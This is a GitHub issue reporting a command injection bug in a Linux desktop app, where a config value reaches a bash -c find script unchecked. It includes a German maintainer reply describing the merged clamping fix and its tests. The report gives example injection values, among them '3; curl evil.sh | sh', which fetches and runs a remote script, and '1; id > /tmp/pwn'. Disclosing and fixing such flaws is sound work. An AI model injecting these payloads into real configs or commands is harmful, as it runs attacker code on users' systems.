Repository navigation
Description
Summary
The home-directory scan builds a shell script by interpolating the config value folder_recursion_depth straight into a bash -c script — unvalidated and unescaped:
lib/services/linux.dart:936—final int depth = ConfigHandler().getValueUnsafe("folder_recursion_depth", 3);(declaredintbutgetValueUnsafereturnsdynamic; no parse/validation anywhere)lib/services/linux.dart:942-946— the sink:await Linux.runCommandWithCustomArguments( "bash", [ "-c", "find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d" ], environment: {"PWD": "/"}, );
The $home interpolation is correctly single-quote-escaped, and $depth's line even documents quoting for the path — but $depth itself is interpolated into the script text with no integer validation. The setting is never written by the settings UI (lib/layouts/settings/search_settings.dart:41 has the toggle commented out), so the only writer is the user-editable config file — but anything that reads the config with getValueUnsafe accepts whatever the file contains, including a non-numeric or shell-bearing value.
Impact
OS command injection from app config: a folder_recursion_depth value of 3; curl evil.sh | sh (or simply 3 -o, which silently changes find semantics) is executed as /bin/sh source when the app builds its folder search index. The privilege is the desktop user's own account — the config file is user-writable, so this is not a privilege boundary crossing — but it violates the repo's own invariant that every value reaching a shell script is a validated constant (see the comment at lib/services/linux.dart:3266-3269 acknowledging exactly this assumption, and the fixed keyword-search site at lib/services/linux.dart:1470-1474). Secondary impact: a non-integer value makes find fail, silently yielding an empty folder list.
Complexity
- Complexity: 1 (Trivial)
Evidence
// lib/services/linux.dart:935-947
final int depth =
ConfigHandler().getValueUnsafe("folder_recursion_depth", 3);
final String home = homeFolder.endsWith("/")
? homeFolder.substring(0, homeFolder.length - 1)
: home;
await Linux.runCommandWithCustomArguments(
"bash",
[
"-c",
"find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d"
],
environment: {"PWD": "/"},
).then((value) {Reproduction (no app run needed — the script text is built verbatim):
grep -n 'maxdepth \$depth' lib/services/linux.dart # shows the unvalidated interpolationWith a config file containing folder_recursion_depth: "1; id > /tmp/pwn", the executed command becomes find '<home>' -maxdepth 1; id > /tmp/pwn -type d → id > /tmp/pwn runs.
Recommended Fix
- Validate at the boundary:
final int depth = int.tryParse(ConfigHandler().getValueUnsafe("folder_recursion_depth", 3).toString()) ?? 3;(or have the helper return the typed value with a bounded range, e.g. clamp to1..10). - Optionally pass the depth as an argv element instead of interpolating it into the script text:
["-c", "find '$escapedHome' -maxdepth \"\$1\" -type d", "la", "$depth"]— matching the pattern already used atlib/services/linux.dart:3304-3309(printf '%s\n' "$1" >> "$2"). - Add a small unit test feeding a malicious config value through the script-building path.
Related context: #42 tracks the systemic runInShell default; this issue survives that fix because it is script-text interpolation into an explicit bash -c, not argv shell-joining.
References
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- The repo's own precedent for this fix class:
lib/services/linux.dart:1470-1474(keyword search quote-unwinding fix) andlib/services/linux.dart:3304-3309(positional-parameter pattern)
Validation
attacker_source: user-editable app config file (~/.config/linux-assistant or ConfigHandler store), key folder_recursion_depth
missing_guard: no int.tryParse / range validation on the config value before interpolation
sink_effect: value is interpolated into a bash -c script string that is executed to enumerate the home directory, so shell metacharacters in the value run as shell source with the desktop user's privileges
preconditions: config file contains a non-integer or shell-metacharacter value for folder_recursion_depth; user opens the main search / folder scan runs
proof_anchors: lib/services/linux.dart:936 (`ConfigHandler().getValueUnsafe("folder_recursion_depth", 3)` into an `int`), lib/services/linux.dart:945 (`-maxdepth $depth` inside the bash -c script string)
suggested_validation: sed -n '935,947p' lib/services/linux.dart # then: dart test with a config value of "1; touch /tmp/pwn" asserting the built script contains no unescaped depth
Activity
Toqsick commentedon Oct 29, 2026
Behoben — der Fix ist in
mainStand:
main@d9321ef(PR #159, „WP-S3 + V0.8.6 Welle 1 (Q1, Q2, Q3, Q5, Q6) — zusammengefuehrt")Ursprungsbranch:
feature/56-wp-s3-hygieneNachweis:
docs/handoff/v0.8.2-wp-s3-security-hygiene.mdWas geändert wurde
Die ungeprüfte Interpolation des Config-Werts ist durch eine explizite Klemme ersetzt. Der Wert kann jetzt ausschliesslich eine Ganzzahl im Bereich 1..10 sein — alles andere fällt auf 3 zurück.
lib/services/folder_recursion_depth.dart(neu)clampFolderRecursionDepth(dynamic)— klemmt aufkMinFolderRecursionDepth..kMaxFolderRecursionDepth(1..10), FallbackkDefaultFolderRecursionDepth(3). Rechnet aufBigInt, damit ein Riesenwert nicht überläuft.lib/services/linux.dart:940-943folderRecursionDepth()— liest den Config-Wert und klemmt ihn.lib/services/linux.dart:964folderRecursionDepth()statt des rohenfinal int-Casts.Der konkrete Payload aus dem Issue
Der im Issue genannte Wert
3; curl evil.sh | shist keine Ganzzahl.BigInt.tryParseakzeptiert ausschliesslich Ziffern mit optionalem Vorzeichen — kein"3.5", kein"0x10", kein Text mit Metazeichen. Der Wert landet damit im Fallback (3) und wird als Ziffernfolge in diefind-Kommandozeile geschrieben. Ein ausgefuehrtes Artefakt ist damit nicht moeglich.Nebenbefund (behoben)
Der alte
final int-Cast war der Grund fuer die stille Fragilität: ein Textwert im Config erzeugte einen TypeError, die Ordnersuche lieferte dann eine leere Liste, ohne dass der Benutzer den Grund gesehen haette. Das ist mit der Klemme erledigt.Tests
test/wp_s3_hygiene_test.dart, Gruppe „Die Rekursionstiefe der Ordnersuche ist geklemmt" (7 Tests):Gates auf
mainAlle elf CI-Gates gruen:
tool/check-versions.sh,dart format(133 Dateien, 0 geaendert),flutter analyze(0 Findings),flutter test(297 Tests), Python-Root-Runner (62 Tests), GTK-Token-Gate (96 Tests),packages/la_core(0 Findings, 25 Dateien, 68 Tests).Der manuelle GUI-Abnahmeschritt bleibt davon unberuehrt — er ist in #51 als eigener Vorgang gefuehrt.